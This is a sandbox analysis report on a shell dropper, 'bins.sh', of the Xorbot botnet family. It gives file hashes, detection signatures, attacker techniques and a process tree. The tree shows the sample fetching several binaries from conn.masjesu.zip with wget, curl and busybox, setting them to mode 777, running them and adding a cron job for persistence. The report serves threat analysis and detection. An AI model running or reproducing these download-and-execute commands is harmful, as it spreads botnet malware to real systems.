Analysis
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max time kernel
150s -
max time network
152s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240418-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
05-01-2025 15:46
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240729-en
General
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Target
bins.sh
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Size
10KB
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MD5
b04e2c0ae63437f3d6159de0e92a5929
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SHA1
f94b507015c3aa5d700ce4f8bddaaecfa374c0ef
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SHA256
939d0bffa96b1358bc2260e51e0cbabd8177f341001bd2e2f1cbde3e853179eb
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SHA512
375244936542defaac34272ae050a449f48bbae7ff71b264249cc5593e699e6814879a5e57067a1b4550b9fd85ccaaa4238fb380b5349a1b2223c17946f6fea3
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SSDEEP
96:YvDZ9XnxwHbXWUsgscszcJp1B5wLJCJaJ7UYZb2bmbVQUQfzlLZSZqZTwUxzkzod:M3Z0dWuTwUta2keQLwWuTwUla2R
Malware Config
Signatures
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resource yara_rule behavioral3/files/fstream-1.dat family_xorbot behavioral3/files/fstream-3.dat family_xorbot behavioral3/files/fstream-5.dat family_xorbot behavioral3/files/fstream-7.dat family_xorbot behavioral3/files/fstream-9.dat family_xorbot -
Xorbot family
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Contacts a large (1516) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 733 chmod 751 chmod 794 chmod 810 chmod 843 chmod 851 chmod -
Executes dropped EXE 6 IoCs
ioc pid Process /tmp/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh 734 RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh /tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d 752 vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d /tmp/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ 795 xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ /tmp/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe 811 sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe /tmp/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru 844 wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru /tmp/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 852 sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 -
Renames itself 1 IoCs
pid Process 853 sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.8G1vQf crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/870/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/965/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/1022/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/999/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/14/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/323/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/700/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/863/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/924/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/888/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/1007/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/77/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/913/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/978/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/904/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/84/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/966/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/970/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/953/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/1004/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/8/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/13/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/877/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/881/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/943/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/919/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/973/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/982/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/1019/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/897/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/69/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/117/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/889/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/880/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/935/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/1012/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/9/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/70/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/997/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/985/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/867/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/892/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/895/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/963/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/974/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/18/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/868/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/876/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/1011/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/858/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/937/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/948/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/861/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/890/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/1010/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/36/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/939/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/996/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/902/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/950/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/672/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 File opened for reading /proc/894/cmdline sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 -
System Network Configuration Discovery 1 TTPs 19 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 737 wget 738 curl 801 busybox 837 curl 847 wget 850 busybox 704 wget 839 busybox 848 curl 725 curl 732 busybox 757 wget 772 curl 792 busybox 798 wget 746 busybox 799 curl 816 wget 862 wget -
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe curl File opened for modification /tmp/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru curl File opened for modification /tmp/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 wget File opened for modification /tmp/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh wget File opened for modification /tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d wget File opened for modification /tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d curl File opened for modification /tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d busybox File opened for modification /tmp/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ wget File opened for modification /tmp/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ curl File opened for modification /tmp/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe wget File opened for modification /tmp/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru wget File opened for modification /tmp/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh curl File opened for modification /tmp/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1 curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:701
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/bin/rm/bin/rm bins.sh2⤵PID:703
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:704
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:725
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh2⤵
- System Network Configuration Discovery
PID:732
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/bin/chmodchmod 777 RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh2⤵
- File and Directory Permissions Modification
PID:733
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/tmp/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh./RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh2⤵
- Executes dropped EXE
PID:734
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/bin/rmrm RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh2⤵PID:736
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:737
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:738
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:746
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/bin/chmodchmod 777 vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d2⤵
- File and Directory Permissions Modification
PID:751
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/tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d./vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d2⤵
- Executes dropped EXE
PID:752
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/bin/rmrm vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d2⤵PID:755
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:757
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:772
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ2⤵
- System Network Configuration Discovery
PID:792
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/bin/chmodchmod 777 xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ2⤵
- File and Directory Permissions Modification
PID:794
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/tmp/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ./xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ2⤵
- Executes dropped EXE
PID:795
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/bin/rmrm xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ2⤵PID:797
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:798
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:799
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe2⤵
- System Network Configuration Discovery
PID:801
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/bin/chmodchmod 777 sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe2⤵
- File and Directory Permissions Modification
PID:810
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/tmp/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe./sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe2⤵
- Executes dropped EXE
PID:811
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/bin/rmrm sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe2⤵PID:814
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:816
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:837
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru2⤵
- System Network Configuration Discovery
PID:839
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/bin/chmodchmod 777 wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru2⤵
- File and Directory Permissions Modification
PID:843
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/tmp/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru./wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru2⤵
- Executes dropped EXE
PID:844
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/bin/rmrm wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru2⤵PID:846
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ12⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:847
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ12⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:848
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ12⤵
- System Network Configuration Discovery
PID:850
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/bin/chmodchmod 777 sfolH9dBEw05svm6i2n60alwPJ0od0hlZ12⤵
- File and Directory Permissions Modification
PID:851
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/tmp/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1./sfolH9dBEw05svm6i2n60alwPJ0od0hlZ12⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:852 -
/bin/shsh -c "crontab -l"3⤵PID:854
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/usr/bin/crontabcrontab -l4⤵PID:855
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/bin/shsh -c "crontab -"3⤵PID:856
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:857
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/bin/rmrm sfolH9dBEw05svm6i2n60alwPJ0od0hlZ12⤵PID:859
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/UeTwdxakpDXicVEjjPdfLxkvmKvDl3RF9r2⤵
- System Network Configuration Discovery
PID:862
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
210B
MD5ac42c736f0469b0db4f4d9f9d3213b3f
SHA19a47545e81ac6e67460604bc3440e4eb83938781
SHA256ebb43cc452aaa0a56692c6283c8bbec3669085486c88e1b7246b67f78ba07ba1
SHA512c80132efb956c8f477411c66f0f2ed13023eb9c7a41e15a2f8850b0ed35968f7a061da8d03e12edb0b917e62e3f0120270c23865be72d5c27b70bfd632c0510f